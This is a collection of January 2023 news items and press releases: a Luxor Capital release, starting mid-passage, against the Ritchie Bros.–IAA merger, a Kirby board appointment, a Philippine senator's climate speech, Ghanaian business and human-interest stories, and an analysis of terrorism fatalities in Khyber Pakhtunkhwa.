Given RBAs strong financial position and the operating performance of standalone RBA, the only conclusion Luxor can draw is that RBAs management and Board hoped that by issuing the preferred security to Starboard (the Starboard Perpetual Preferred) at massively below-market terms, the hollow endorsement that came along with the US$145 million transfer would somehow turn away the tide of shareholder discontent. Luxor is certainly not swayed.

Luxor believes that the revised IAA Merger has done little to change the financial terms for RBA shareholders. Indeed, the minor change in equity issuance by RBA in the revised deal is overwhelmed by the extravagant terms offered to Starboard.

The most glaring and obvious issue with the Starboard Perpetual Preferred is, as its name suggests, its preference in the capital structure to all existing common shareholders of RBA. Convertible structures are not inherently disadvantageous, but in normally functioning companies with good governance, boards dont give out seniority without extracting advantageous terms elsewhere in the security. Typically, this trade-off implies that convertible holders, because of the downside protection provided by their seniority, receive less relative to common holders when the stock price rises significantly and receive more relatively when the stock price rises slowly or falls. In this instance, RBA shareholders receive none of these types of benefits whatsoever. No matter what happens to RBA, Starboard will significantly outperform common shareholders .

The nominal coupon on this security is 5.5%, but importantly, the Starboard Perpetual Preferred participates in all common shareholder dividends, thereby creating an effective annual coupon of 6.979% (see Appendix for detailed calculations), which will escalate in-line with any increases in dividends paid to common shareholders. Moreover, as additional proof of misalignment with RBA common shareholders and value transfer by RBAs management and Board to Starboard, the dividend participation by the Starboard Perpetual Preferred is subject to a floor of US$0.27 per common share. In other words, the Starboard Perpetual Preferred will benefit fully from any growth in the quarterly dividends paid to RBA shareholders from the current level, but will enjoy none of the downside that RBA shareholders will experience if the dividend is ever reduced, for any reason. No matter what happens to the common share dividend, Starboards dividend materially exceeds common shareholders dividends .

The security is also effectively not callable by RBA for nine years. For nine years Starboard will enjoy a dividend rate at least 5.5% higher than that of common shareholders. Compounded at 5.5% for nine years, Starboard will receive 62% of its capital investment back in excess dividends. This compares to the ~20% conversion premium in the security. No matter what happens to the value of RBA common shares, Starboard materially outperforms common shareholders .

As a common shareholder, Luxor takes no comfort whatsoever with the endorsement that comes along with such an off-market security. Luxor takes no comfort whatsoever in Starboard representing common shareholders interests as their own, as Starboard is overwhelmingly in a different class of stock that has dramatically conflicting priorities to those of the common shareholders. Luxor believes that shareholder representation on the Board is warranted, but qualified director candidates committed to acting in the best interests of ALL shareholders are available without transferring US$145 million of RBA common shareholder money.

Luxor continues to believe that the IAA Merger risks the permanent destruction of over US$1.8 billion of shareholder value2 and that RBAs standalone businesses offer the clearest and most logical path for the Company to deliver the optimal outcome for all of its common shareholders. Luxor looks forward to continuing its opposition to this ill-conceived merger, which has illuminated for all common shareholders RBAs missteps and egregious corporate governance.

Appendix:

Annualized Yield Calculation

Coupon paid quarterly: 1.375 % Participation in common stock dividend (1): 0.370 % Total quarterly coupon + dividend: 1.745 % Annualized yield: 6.979 % (1) Common Stock Dividend Calculation Par value of Preferred $1,000 Conversion price $73 RBA Shares at Conversion 13.70 Quarterly common div/share $0.27 Quarterly dividends received $3.70 Additional quarterly yield 0.370 %

About Luxor Capital Group, LP:

Luxor Capital Group, LP is a multi-billion-dollar investment manager, which was founded in 2002 and is based in New York. It makes investments through its fundamental, long-term oriented investment process. The firm has an extensive history of investing in global marketplaces businesses.

CERTAIN INFORMATION CONCERNING THE PARTICIPANTS

Luxor Capital Group, LP, together with the other Participants (as defined below), has filed a preliminary proxy statement and intends to file a definitive proxy statement and accompanying GREEN proxy card with the Securities and Exchange Commission (SEC) to be used to solicit proxies in connection with a special meeting of the shareholders of Ritchie Bros. Auctioneers Incorporated, a company organized under the federal laws of Canada (the Company).

THE PARTICIPANTS STRONGLY ADVISE ALL SHAREHOLDERS OF THE COMPANY TO READ THE PROXY STATEMENT AND ANY AMENDMENTS OR SUPPLEMENTS TO SUCH PROXY STATEMENT AND OTHER PROXY MATERIALS RELATED TO THE SOLICITATION WHEN THEY BECOME AVAILABLE, BECAUSE THEY WILL CONTAIN IMPORTANT INFORMATION. SUCH PROXY MATERIALS WILL BE AVAILABLE AT NO CHARGE ON THE SECS WEB SITE AT HTTP://WWW.SEC.GOV. IN ADDITION, THE PARTICIPANTS WILL PROVIDE COPIES OF THE PROXY STATEMENT AND OTHER RELEVANT DOCUMENTS WITHOUT CHARGE, WHEN AVAILABLE, UPON REQUEST. REQUESTS FOR COPIES SHOULD BE DIRECTED TO THE PARTICIPANTS PROXY SOLICITORS, OKAPI PARTNERS LLC BY PHONE AT (877) 629-6356 (TOLL-FREE) OR BY EMAIL TO INFO@OKAPIPARTNERS.COM, OR TO SHORECREST GROUP BY PHONE AT (888) 637-5789 (TOLL-FREE) OR BY EMAIL AT CONTACT@SHORECRESTGROUP.COM. The participants in the proxy solicitation in connection with the Companys special meeting of shareholders are expected to be Luxor Capital Group, LP (Luxor), LCG Holdings, LLC (LCG Holdings), Lugard Road Capital GP, LLC (Lugard GP), Luxor Capital Partners Offshore Master Fund, LP (Luxor Offshore Master Fund), Luxor Capital Partners Long Offshore Master Fund, LP (Luxor Long Offshore Master Fund), Luxor Capital Partners, LP (Luxor Partners), Lugard Road Capital Master Fund, LP (Lugard Road Master Fund, and together with Luxor Offshore Master Fund, Luxor Long Offshore Master Fund, and Luxor Partners, the Funds), Luxor Management, LLC (Luxor Management), and Christian Leone, and Jonathan Green (together, the Participants).

As of the close of business on January 23, 2023, Luxor Long Offshore Master Fund held 6,187 RBA common shares (RBA Common Shares), Luxor Partners held 423,974 RBA Common Shares, Lugard Road Master Fund held 3,315,244 RBA Common Shares, and Luxor Offshore Master Fund held 273,178 RBA Common Shares. LCG Holdings is the general partner of Luxor Offshore Master Fund, Luxor Long Offshore Master Fund, and Luxor Partners, and may be deemed to beneficially own 703,339 RBA Common Shares. Lugard GP is the general partner of Lugard Road Master Fund and may be deemed to beneficially own 3,315,244 RBA Common Shares. Luxor is the investment manager of each of the Funds, and Luxor Management is the general partner of Luxor, and each may be deemed to beneficially own the aggregate of 4,018,583 RBA Common Shares held by the Funds as of the close of business on January 23, 2023. Mr. Leone is the managing member of each of Luxor Management and LCG Holdings and a managing member of Lugard GP and may be deemed to beneficially own 4,018,583 RBA Common Shares. Mr. Green is a managing member of Lugard GP and may be deemed to beneficially own 3,315,244 RBA Common Shares.

No Solicitation

This press release is for informational purposes only and is not a solicitation of proxies. Any proxies solicited in respect of the Special Meeting will be solicited by Luxor pursuant to the definitive proxy statement or as otherwise permitted by applicable corporate and securities laws.

Contacts:

Investor Contacts

Douglas Friedman

Luxor Capital Group, LP

RBA@luxorcap.com

Mark Harnett & Bruce Goldfarb

Okapi Partners LLC

(212) 297-0720

Info@okapipartners.com

Media Contacts

Douglas Snyder

Luxor Capital Group, LP

RBA@luxorcap.com

Dan Gagnier & Riyaz Lalani

Gagnier Communications

(646) 342-8087

luxor@gagnierfc.com

1 Security valued using sell-side models and incorporates a 400bps credit spread, 35 implied vol, and no change to RBAs common dividend over time.

2 Given the Companys strong earnings results announced concurrently with the announcement of the deal, Luxor believes that the deal announcement had a 25%+ negative impact on the value of the Company, which represents >US$1.8 billion of value.




HOUSTON, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Kirby Corporation (NYSE: KEX) ("Kirby" or the Company) today announced the appointment of Susan W. Dio to the Companys Board, effective January 24, 2023. Following the appointment of Ms. Dio, the Kirby Board of Directors will expand to ten directors, nine of whom are independent.



Ms. Dio is a proven executive with more than 25 years of experience in international refining, petrochemicals and oil and gas. She most recently served as Chairman and President of BP America, providing oversight for BPs businesses in the United States. She previously served as Chief Executive Officer of BP Shipping, where she reset the organizations strategy and operations while modernizing the companys fleet. She also served as BPs Head of Audit for Refining and Marketing where she focused on integrating safety and operational risk in the organization.

"We are delighted to welcome Susan to the Board and look forward to benefiting from her strategic acumen and deep industry experience, said Joseph H. Pyne, Chairman of the Kirby Board of Directors. Susans appointment reflects our commitment to ongoing Board refreshment and focus on adding diverse perspectives and experiences. We look forward to benefiting from her insights as we continue to provide high quality service and products in a safe, environmentally responsible manner all while delivering significant value to our customer."

Susan W. Dio said, I am honored to serve on the Board as Kirby continues to evolve its strategic priorities, build on its momentum in its Marine Transportation business and progress its electrification strategy in Distribution and Services. I look forward to working with my fellow directors and the management team to continue driving shareholder value.

About Susan W. Dio

From 2018 until her retirement in 2020, Ms. Dio served as Chairman and President of BP America, where she provided leadership and oversight to all BP businesses in the US. Between 2015 and 2018, Ms. Dio was CEO of BP Shipping, which manages the fleet of BP-operated and chartered vessels. While CEO of BP Shipping, she served as an independent director with Britannia Steam Ship Insurance Associations, Ltd., a mutual insurance association, and was a director and vice chair of the Oil Companies International Marine Forum. She also was a member of the supervisory board of the UK Chamber of Shipping, a director and advisory committee member on the International Tanker Owners Pollution Federation Limited and a members representative with the Alaska Tanker Company. Previously, Ms. Dio was based in Houston as BPs Head of Audit for Refining and Marketing and ran BPs Bulwer Island Refinery in Brisbane, Australia. She also led the restructuring of the BP chemicals business at BPs Texas City site outside of Houston after spending several years managing the commercial business at the companys former refinery there. Earlier in her career, Ms. Dio worked in other petrochemicals, engineering and commercial roles in Texas, Alabama and London.

A certified chemical engineer, Ms. Dio earned her bachelors degree with honors in chemical engineering from the University of Mississippi. She subsequently served on engineering advisory councils at Texas A&M University. A champion for women in the energy industry, she received the Manufacturing Institutes STEP Award for Women in Manufacturing in 2014.

About Kirby Corporation

Kirby Corporation, based in Houston, Texas, is the nations largest domestic tank barge operator transporting bulk liquid products throughout the Mississippi River System, on the Gulf Intracoastal Waterway, and coastwise along all three United States coasts. Kirby transports petrochemicals, black oil, refined petroleum products and agricultural chemicals by tank barge. In addition, Kirby participates in the transportation of dry-bulk commodities in United States coastwise trade. Through the distribution and services segment, Kirby provides after-market service and genuine replacement parts for engines, transmissions, reduction gears, electric motors, drives, and controls, specialized electrical distribution and control systems, energy storage battery systems, and related equipment used in oilfield services, marine, power generation, on-highway, and other industrial applications. Kirby also rents equipment including generators, industrial compressors, high capacity lift trucks, and refrigeration trailers for use in a variety of industrial markets. For the oil and gas market, Kirby manufactures and remanufactures oilfield service equipment, including pressure pumping units, and manufactures electric power generation equipment, specialized electrical distribution and control equipment, and high capacity energy storage/battery systems for oilfield customers.
Press Release

January 24, 2023 Legarda: Losses on climate hazards affect livelihood and economy, whole of nation approach vital in addressing global climate crisis Senate President Pro Tempore Loren Legarda has stated that loss and damage brought about by natural disasters harm the people's livelihood and the country's economy. In her privilege speech during the resumption of the session on Monday, she noted that the country had incurred losses of about P506.1 billion from climate-related hazards despite contributing only 0.3 percent of the planet's total greenhouse gas (GHG) emissions. This amount, she said, equates to a combined total annual budget of the Department of Health (DOH) and the Department of Social Welfare and Development (DSWD). "Mulat na tayo sa epekto nito sa Pilipino at sa ating ekonomiya. Napapawalang-saysay ang deka-dekada nating aksyon upang maitaas ang antas ng buhay ng bawat pamilyang Pilipino at mapalago ang ekonomiya dahil sa matitinding bagyo, tagtuyot, pagbaha, pagguho ng lupa, at iba pang mga delubyo't sakuna," she said. Legarda pointed out that climate finance is needed to build defenses, safeguard every Filipino from climate impacts, and shift the economy and society "towards low-carbon development and growth that would mitigate global warming and the intensity of climate change." She mentioned that the Philippines is among the vulnerable developing nations with financial support through the 2015 Paris Agreement. "This loss and damage fund cannot bring back what we have lost in terms of lives, livelihoods, assets, and opportunities, but just like post war reparations, these will help get us on an appropriate development track," she said. The Philippines recently joined the High Ambition Coalition (HAC) for Nature and People, which aims to protect at least 30% of the world's land and ocean through increased public and private financing. The country is also a beneficiary under the Green Climate Fund (GCF), a global fund created to serve the Paris Agreement and Kyoto Protocol that aims to provide funding for climate mitigation and adaptation of developing countries. While these grants benefit the Philippines, Legarda stressed that a whole of nation approach is vital in addressing the dire global climate crisis. "Hindi lang tayo dapat umasa sa isang grant gaya ng GCF. There should be a whole of government, whole of nation approach in addressing the climate crisis," she said. "These few grants will not change the scenario. Dapat sa bawat lokal na pamahalaan, dibdibin at talagang isapuso ang pag-aaral, ang paggamit ng early warning systems, ang paglilikas ng tao, ang paggamit ng [geohazard] mapping. I hope that in everything we do, isaalang-alang po ang epekto ng ating ginagawa sa krisis ng klima na nangyayari," she added. Legarda also urged her colleagues to recognize their critical role in dealing with the global climate emergency. "Buhay, kabuhayan, at kinabukasan ang nakataya. Hindi na pwedeng hindi kaya dahil kailangan. Let's not waste this opportunity to do good, to do what is right, and in all our endeavors, imagine a different future past this twin crisis of climate and biodiversity collapse," Legarda concluded.
AfCFTA: 3 Years on, no show  $4trillion market potential untapped

Emmanuel Bruce Business News Jan - 24 - 2023 , 07:10

THREE years after an elaborate launch of what many experts have said would position the African market competitively globally, many countries are yet to take full advantage of the $4 trillion trade opportunities.

The African Continental Free Trade Area (AfCTA) concept has been locked up in yet another bureaucratic process and long talks.

Out of the 44 countries that have ratified the agreement, only eight have submitted their tariff guidelines, a pre-requisite for the take-off of the trade agreement, which is expected to create a market size of 1.4 billion people.

The AfCFTA agreement was adopted and opened for signature in 2018 and entered into force in May 2019. The launch of the agreement in 2019 saw about 14 African countries signing up for the agreement instantly, which was a demonstration of the commitment of African countries to trade among themselves.

As of June 2022, 54 countries had signed the agreement, with 44 of them submitting their instrument of ratification.

However, it appears these African countries have not demonstrated the same commitment towards submitting their tariff guidelines, which would pave way for the full implementation of the agreement.

For exports to start under the agreement, there is the need to negotiate various protocols. The elements of trade are basically two, goods and services. There were two critical protocols that had to be negotiated, one on goods, and the other on services.

The launch of exports under AfCFTA was on January 1, 2021, which opened up the way for negotiations to be completed. The target was that when negotiations were 90 per cent complete, trading could start.

By June last year, negotiations were 87 per cent complete and the Ministers of Trade that met in Accra decided that trading could start.

This was, however, not possible as a lot of countries that have signed and ratified the agreement were yet to submit their tariff guidelines.

Inability to export to some countries

Speaking in an interview with the Graphic Business, an International Trade Expert, Anthony Nyame Baafi, said if the countries who had ratified the agreement did not submit their tariff schedule of commitment, then exports could not be made into those countries.

Mr Baafi, who is the immediate past Chief Trade Negotiator for Ghana and played an instrumental role in the AfCFTA negotiations, said he was aware that most of the countries were yet to submit their tariff schedule of commitment to the AfCFTA Secretariat.

If the AfCFTA Secretariat does not have this tariff liberalisation schedule then definitely you cannot export to those countries because you dont know the tariff line that falls under the 90 per cent, the seven per cent and the exclusive list.

I am also aware that the secretariat is still technically validating that of those who have submitted theirs so this is also contributing to the delays, he stated.

Guided Trade Initiative

To encourage some initial export under the AfCFTA, the secretariat in October 2022 introduced the Guided Trade Initiative, which saw seven African countries agree to make some exports under the free trade agreement.

The seven countries were Ghana, Kenya, Egypt, Rwanda, Cameroon, Tanzania and Mauritius.

Mr Baafi said this initiative was even the reason why some exports had been witnessed under the AfCFTA agreement.

Since the exercise started, four Ghanaian companies have taken advantage of it to export to Cameroon and Egypt.

The companies were in the area of tiles, dry fruit and palm kernel oil.

Mr Baafi urged African governments who were part of this Guided Trade Initiative to do more public education so that the private sector of the various countries could also take advantage of this opportunity available.

At the end of the day, it is the governments that will sign the agreements but it is the private sector that will have to do the trading, he stated.

Checks by the Graphic Business also indicated that this Guided Trade Initiative is also faced with some challenges as there have been occasions where goods have landed in some countries and the customs there did not have the proper authorisation to clear the goods under AfCFTA.

Mr Baafi, however, said this was normal with international trade and was hopeful that all these issues would be addressed with time.

Full implementation expected by 1st quarter

Mr Baafi said it was the expectation of the African Union that full implementation of the AfCFTA would start by the end of the first quarter of 2023.

The expectation is that maybe by the end of this quarter, virtually all the countries that have ratified the agreement would have submitted their tariff liberalisation schedules to the AfCFTA secretariat for it to be technically verified and then they can go ahead to export to those counties.

There is also supposed to be an AU meeting in February so it is the hope that the AU will help move the process forward by impressing all member countries who are yet to submit to send it as soon as possible, he stated.

He also urged the countries who were yet to submit to contact the AfCFTA Secretariat for help if they had any challenges.

Anything other than this, the agreement will be there and not implemented, he cautioned.


AmCham Ghana calls for a business-friendly approach for revenue mobilisation

Elizabeth Nyaadu Adu Business News Jan - 24 - 2023 , 13:53

The Executive Secretary of AmCham Ghana, Simon Madjie, has appealed to the Ghana Revenue Authority (GRA) to adopt a business-friendly approach to revenue mobilisation to help protect the operations of businesses in the country.

The Chamber supports the governments domestic revenue mobilisation efforts but would ask the Ghana Revenue Authority to adopt a more business-friendly approach to the implementation of government policies on revenue mobilisation.

This is imperative in order not to scare away existing investors, as some of the actions can adversely impact their capitalisation. Maintaining the ease of doing business is vital to the country's economic recovery, he said.

Mr Madjie who made the call in his new year welcome message, said his outfit was hopeful for a successful year although the chamber was not oblivious of the countrys current economic situation with a projected Gross Domestic Product (GPD) growth rate of 2.9 per cent.

He said the chamber has charted such a course before, and was assertive that its members have the resilience to weather the storm.

Mr Madjie added that the pushback to the governments GH137.3 billion debt restructuring program by affected parties, was causing some economic uncertainties.

However, AmCham remained confident that further dialogue will result in all issues being resolved amicably for the country to begin the process of recovery.

The Chamber has also noticed the reversal of the benchmark value on imports. As much as we appreciate the effort, we want to urge the authorities to follow the principles of transaction value and the other procedures of valuation provided under the WTOs Customs Valuation Agreement. We believe this will provide some predictability and help minimise the cost of importation.

The Chamber will continue with our efforts in advocating for a business-friendly environment, he assured.
Exclude individual bondholders from DDE programme --Ghana Individual Bond Holders Forum insists

Business Desk Report Business News Jan - 24 - 2023 , 11:24

The Ghana Individual Bond Holders Forum has said that the recent agreement between the government and the Ghana Association of Banks (GAB) on the Domestic Debt Exchange (DDE) programme re affirms the need to exclude individual bond holders and collective investment schemes from the programme.

In a release signed by the Convener of the Group, Senyo Hosi, the group argued that with banks onboarding, the government was set to reach its 80 per cent target.

This development reaffirms the need for government to exclude individual bondholders,

including individuals and collective investment schemes (CIS), who account for less than 11 per cent of the eligible bonds, the release noted.

The group said it had observed with delight governments various incentives provided to the banks which among others include the Bank of Ghanas revisions to the prudential rules

including reductions in the Capital Adequacy Ratio and the Cash Reserve Requirements.

To make it much more functional, the government will be providing a financial stability fund to support the viability of the banks.

Unlike the banks and other institutions who are set to benefit from various

regulatory incentives, individual bondholders have no fall back nor incentives and will be condemned to shackled penury, it stated.

It therefore urged the government to absolutely exempt individual bondholders, including individuals who hold eligible bonds under the DDE through collective investment schemes from its DDE programme.

We maintain that cutting government expenditure and optimizing revenue is the sure winner for Ghana in these difficult times.
German, Ghanaian companies partner in solar energy

Emelia Ennin & Diana Mensah Business News Jan - 24 - 2023 , 12:25

The German government is supporting a project aimed at encouraging Ghanaian companies to use solar energy and promote sustainable energy solutions as a feasible alternative to conventional power generation in Ghana.

Dubbed "Project Development Programme (PDP)" it is being implemented by the Deutsche Gesellschaft fur Internationale Zusammenarbeit (GIZ) as part of the German Energy Solution Initiative of the German Ministry of Economic Affairs and Climate Action and it is being undertaken in some selected developing and emerging countries.

Under the PDP, Germany, which is a pioneer of climate-friendly energy solutions, is supporting Ghana and the other beneficiary countries to incorporate renewables and energy efficiency incentives into the countrys energy mix.

In Ghana, it is expected to run until 2025.

Training

This was made known yesterday during the opening of a weeks training in Accra for selected stakeholders who would participate in the project in Ghana.

The 40 participants included electrical engineers from solar companies, engineering students, representatives of financial institutions providing green financing, lawyers, distribution and marketing companies.

The training is aimed at equipping local companies with practical experience and linking them with German experts from the solar industry.

It is to offer the participants the opportunity to strengthen project development skills of local practitioners and to establish long-term partnerships with highly qualified German companies in the solar industry.

Simple solutions

A lead trainer from PiBerlin, the lenders technical advisor for the project, Craig Wong, said in Ghana the initial stages of the project would focus on simple solutions designed to work anywhere such as putting solar solutions on rooftops of commercial and industrial buildings to help reduce energy cost.

During the one week training, he said the participants would be taken through the assessment, planning, implementing, and funding of new energy solutions.

The Country Manager for Ghana, GIZ Project Development Programme, Benjamin Struss said by facilitating business partnerships and the exchange of experience and expertise between German and Ghanaian companies, the project formed a vital basis for sustainable market development.

He said the programme is also specifically identifying companies who have a fairly large energy consumption and explaining to them the potential of solar energy to reduce their energy cost and contribute to climate protection.

He said the programme was to train local Ghanaians companies who have high energy bills to move to renewable energy.

The benefits, he said, would include free consultancy to assist local companies with solar designs and the most important of all to connect them to German companies who have the financial muscle to install the solar at free in the initial stages.

"So the local companies who want solar do not need to put in an initial capital, they just need to pay installment. We are looking at the roof and space, whether this is viable and if they would install looking at the current cost of electricity and how much they could save in the end," he said.

Climate friendly energy

A Cluster Coordinator in charge of Climate and Energy, Tangmar Marmon, said the ultimate goal of the project was to help Ghanaian companies to produce their own solar energy which makes them more climate friendly.

"It is something that is helping the Ghanaian economy on one hand and the climate on the other hand," he said and indicated that it would also help the Ghanaian government to fulfill its climate needs to bring down greenhouse gas emissions.

He explained that the programme had been active for 10 years and it was part of the German government's agenda to reduce greenhouse gas emissions across the world.

"It is going really well. There has been a lot of interest and we are doing a lot of capacity development in Ghana with banks and private sectors. It is really helping these companies to increase production with reliable energy and climate friendly energy, he said.

Mr Marmon said although the project was expected to end in 2025, he was optimistic it would be extended to ensure it benefited a larger section of the economy.

One of the paticipants, an electrical engineer from Annointed Electrical Engineering Services Limited, Esther Afrakomah Boateng told the Daily Graphic that the training would help local compaines learn about the most intelligent designs and solutions in the solar industry.

She said she was hopeful her company would take advantage of the opportunity to train more women in the solar energy sector.
Vicky Zugah: You cant survive on acting in Ghana

Jayne Buckman-Owoo Showbiz News Jan - 24 - 2023 , 11:02

Considering the state of the Ghanaian movie industry, actress Vicky Zugah is cautioning aspiring actors not to fall for the temptation of solely depending on acting for survival.

She mentioned that it was necessary to back their means of support with other jobs since the movie sector was not lucrative at the moment.

If a young person approaches me to talk of their interest in acting, I will advise the person to have another means of income.

I will guide them to have another profession on the side because depending merely on movies is not advisable because it is not reliable.

The current movie industry in Ghana is not something you can solely depend on. It could get better but for now it is better to get something on the side to keep you going, she said.

New article Temi Otedola is Bamboos new ambassador

Vicky has had her fair share of abusive relationships which have made her very cautious when it comes to men.

And as a result, though she is very single now, she is not in any haste to be in a relationship.

Vicky made this revelation when Graphic Showbiz reached out to her recently. I am not in a relationship, it is not in my plans for now. I have other things to concentrate on. When guys approach me, we talk for some time and then if it is not working for me, I just back off.

My preference is a man with ambition, a hardworking guy, God-fearing, gentle, respectful and loving. I am not looking for a perfect person but he needs to be above average for me, she stated.

Vicky hosts a sex-related show on UTV titled The Red Light and she says the feedback has been overwhelming, We are in our third year now and the feedback has been great and we are really excited about it, she concluded.
Ex-convict supports welfare, reform of convicts

From Alberto Mario Noretti, HO Life Jan - 24 - 2023 , 13:14

AFTER serving 14 years behind bars for aiding and abetment of robbery, David Kwaku Danku left the Nsawam Medium Security Prison on July 5, 2021; not only reformed but with a strong resolve to embark on a mission to seek support for the welfare of convicts.

He made that intention known to his family, old time friends and some traditional authorities in various communities soon after he arrived home at Ho-Hliha in the Volta Region.

Further, he took up a programme on the local JD FM, preaching the gospel and admonishing young people to stay within the confines of the law.

His Friday late afternoon radio programme has become the choice of many listeners in the municipality.

With time, Davids appeal for funds and resources to support prisoners received a favourable response from many people, including some assembly members and queens.

When he recently raised GH5000 from his appeals, David bought a consignment of second clothes, detergents and bags of water for the inmates at the Ho Central Prison.

He was accompanied by the Queen of Saviefe-Deme, Mama Ameyotor Benu II and the Assembly member of Saviefe, Maxwell Borfeli,some youth and elders of Ho-Hliha to present the items to the correctional centre last Saturday January 14,2023.

David Kwaku Danku served 14 years at the Nsawam Medium Security

He said the gesture was based on his conviction that convicts only lost their right to personal liberty and not their rights to personal dignity.

Apart from that, it is the duty of all of us to support convicts to reform and help their reintegration into society, he added.

Interestingly, David who left for jail with little education returned to Ho speaking good English, appreciable Ga, Twi, Fante and some Spanish.

TM: How did you become a polyglot?

David: By interacting with my fellow inmates, I picked up Ga, Twi and Fante. I also took advantage of the language school in the prison to learn a little Spanish.

TM: What else did you learn in prison?

David: I went back to school and studied up to junior high school level. From there, I proceeded to train at the United Church, in the prison, as a lay preacher of the gospel.

The single father of four said he also worked at one stage as a shop assistant in the prison.

TM: You came back from prison just a few years ago but you have already won the hearts of many people, including those in high position.

David: Your reputation precedes you. I went to jail and met Christ there. I left jail with the image of Christ preceding me. So, I win the hearts of many with the goodwill of Christ.

TM: What lesson in particular did you learn in jail?

David: The conditions were horrible and you did not eat the food of your choice, but there were still opportunities to learn and also study the word of God. Feeling homesick is a terrible thing. At one stage, I bought a cellular phone from another inmate clandestinely to keep in touch with relatives and friends in the world outside the prison.

TM: Cellular phone in prisons?

David: Hmm, a lot of things go on covertly in the cells. We kept the phones silent because once you were caught with a phone, you landed in trouble. There is a whole economy in the prison. Mobile money business also takes place vigorously among convicts.

TM: Were you assigned any specific task in the prison?

David: Yes. I was the Block three representative and that was a leadership post based on my good conduct.

TM: What are your plans for this year?

David: For now, I will raise funds to buy a mega sound system to enable me to reach out to as many communities and people as possible with the gospel. Later, I will set up a foundation to be known as Amenyidokoe Foundation to support the welfare and reform of convicts, and help to reintegrate them into society after they finish serving their time in jail. The foundation will also help the less privileged to acquire skills to enable them to contribute to the progress of the country in various ways.

TM: That is a huge task.

David: Yes it is. But when you abide in the Lord and Lord abides in you, everything is possible.

TM: What are your hobbies?

David: For now, it is working for the Lord.

TM: What message do you have for others who are still behind bars.

David: Going to prison for a crime you commit or did not commit is not the end of your world. There are positive values to acquire behind bars and you can come out and make a good impact on society.

What matters most is that you must reform. And if you were even wrongly convicted, what matters most when you come out is to move forward in life.

David (right) with neighbours at Ho-Hliha

Meanwhile, the Deputy Superintendent of Prisons (DSP) Sylvester Fiadzigbe, who received the items on behalf of the Ho Central Prison authorities, thanked David for the items and described the gesture as touching and worthy of emulation by other members of the public.
A report presented to Prime Minister Shehbaz Sharif during the national security review meeting warned that the KP CTD would not be able to prevent or stop terrorist attacks in the province, and lacked the capacity to fight terrorism.

by Tushar Ranjan Mohanty

On January 19, 2023, three Police constables were killed in a suicide attack at the Takhta Beg Police checkpost in Jamrud tehsil (revenue unit) of Khyber District in Khyber Pakhtunkhwa (KP). Police said terrorists armed with hand grenades, entered the premises and opened fire using a sub-machine gun. After the firing, a suicide bomber blew himself up. The Tehreek-e-Taliban Pakistan (TTP) claimed responsibility for the attack.

On January 18, 2023, a teenager, Raheedullah, was found beheaded in a remote area of Bargai village in Lakki Marwat District. The Ittehadul Mujahideen-i-Khurasan left a dagger and a hand written chit in Pashto near the body, with the message that Raheedullah was found guilty of spying for the Army and the Counter Terrorism Department (CTD).

Afghan nationals walk along a fenced corridor after crossing into Pakistan through the Pakistan-Afghanistan border crossing point in Chaman on August 28, 2021 following the Taliban's military takeover of Afghanistan. [Photo: AFP]

On January 14, 2023, three Policemen, including Deputy Superintendent of Police (DSP), Badaber Sardar Hussain and his two Police guards, Irshad and Jehanzeb, were killed in a terrorist attack on the Sarband Police Station in Peshawar, the provincial capital of KP. KP Inspector General of Police (IGP) Moazzam Jah Ansari said that sniper rifles were used by the terrorists in the incident, for the first time in Peshawar. TTP claimed responsibility for the attack. The CTD killed the two terrorists who were involved in the attack, Gul Hayyee and Hazrat Umar, residents of the Bara area of Khyber District and Mohmand Hal Yeka Tut in Peshawar, while two to three other terrorists managed to escape.

According to partial data compiled by the South Asia Terrorism Portal (SATP), KP has recorded 33 terrorism-related fatalities, including 23 terrorists, eight Security Force (SF) personnel and two civilians, so far, in the current year (data till January 22, 2023). During the corresponding period of 2022, the province had recorded 19 such fatalities including 11 terrorists, five SF personnel and three civilians.

KP recorded a total of 527 fatalities (119 civilians, 173 SF personnel and 235 terrorists) in 184 incidents of killing in 2022, as against 300 such fatalities (71 civilians, 108 SF personnel, and 121 terrorists) in 129 such incidents in 2021, registering an increase of 75.66 per cent in overall fatalities. Overall fatalities, on year-on-year basis, have been on a continuous rise since 2020, when fatalities stood at 216 (61 civilians, 57 SF personnel, and 98 terrorists) in comparison to 130 (30 civilians, 69 SF personnel, and 31 terrorists) in 2019.

Significantly, overall fatalities in 2022 are the highest in a year since 2014, when there were 697 fatalities. In terms of SF fatalities, the 2022 tally is the highest since 2013, when there were 181 fatalities. Terrorist fatalities in 2022 were the highest since 2011, when there were 372 such fatalities. The number of civilians killed in a year touched three digits after a gap of five years, with 122 civilians killed in 2016.

Other parameters of violence also indicated a worsening security situation in the province. Total terrorism-linked incidents jumped sharply from 168 in 2021 to 225 in 2022, the highest since 2015, when there were 278 incidents. The number of major incidents (each involving three or more killings) increased from 41 in 2021 to 56 in 2022, the highest since 2013, when there were 72 such incidents. The resultant fatalities in such attacks also increased from 186 in 2021 to 337 in 2022. Similarly, KP accounted for an increased number of explosions, from 32 in 2021 to 45 in 2022 (the highest since 2015, when there were 50 such incidents), and the resulting fatalities spiked from 52 to 129. The province recorded eight suicide attacks in 2022 (the highest since 2017, when there were also eight such attacks) as against two in 2021. In the worst attack, on March 4, at least 63 worshippers lost their lives and 194 others were injured when a suicide attacker detonated himself inside a Shia Mosque in the Koocha Risaldar area of Peshawar.

Of 38 Districts in KP, 16 recorded terrorism-related violence, according to the SATP database. The most violent District in 2022 was, again, North Waziristan District, which accounted for 177 deaths, followed by Peshawar (87 fatalities), Bannu (60 fatalities) and Dera Ismail Khan (43 fatalities). In 2021 as well, North Waziristan recorded the maximum of 106 killings, followed by South Waziristan (51 fatalities), Peshawar (25 fatalities) and Bajaur (22 fatalities). Of 38 Districts, 21 Districts registered terrorism-related incidents in 2021. 2020 saw terrorism-related incidents in 19 Districts, of which North Waziristan had the highest number of fatalities (110), followed by Peshawar (27) and South Waziristan (21).

In 2019, violence in KP had fallen to its second lowest level, in terms of fatalities, as terrorists had started to escape to Afghanistan due to continuous SF operations in the tribal areas of Pakistan. With the Taliban starting to strengthen their position in Afghanistan in 2020, the TTP terrorists who had escaped to Afghanistan started receiving increasing support inside Afghanistan, which helped them in their efforts to revive their campaigns in Pakistan. The process gained momentum with the Talibans return to power in Afghanistan on August 15, 2021.

Though an attempt to start a direct dialogue between the TTP and the Pakistan Government was initiated soon after the Taliban seized Kabul, it finally succeeded in May 2022. After a fractious six months, it came to an end in November 2022. During this entire period, there was not a single phase of peace on the ground.

